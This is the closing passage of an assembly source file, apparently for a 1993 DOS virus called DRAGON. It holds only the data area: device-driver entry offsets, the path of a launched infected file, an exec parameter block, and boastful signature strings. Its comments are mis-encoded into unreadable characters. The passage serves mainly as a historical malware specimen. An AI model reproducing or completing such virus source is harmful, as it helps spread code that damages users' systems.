dw offset Strategy ;€¤à¥á ¯®æ¥¤ãàë ‘âà ⥣¨¨
|
||||
dw offset Inter ;€¤à¥á ¯à®æ¥¤ãàë �à¥àë¢ ¨ï
|
||||
db 7fh ;—¨á«® ¡«®ª®¢ëå ãáâனáâ¢
|
||||
|
||||
file db 'c:\dragon.com',0
|
||||
param dw 0,80h,?,5ch,?,6ch,? ;� à ¬¥âàë ¤«ï § ¯ãáª
|
||||
;§ à ¦¥®£® ä ©«
|
||||
|
||||
CopyRight db 'DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993',0
|
||||
Lords db 'The Lords of the Computers !',0,0
|
||||
Lord db 'DRAGON - the Lord of Disks !',0,0
|
||||
Author db 'anti'
|
||||
RecNum db ? ;�®¬¥à § ¯¨á¨
|
||||
VirusEnd db ?
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Data Area *** Û
|
||||
;Û End Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
code ends
|
||||
end dragon
|
||||
Reference in New Issue
Block a user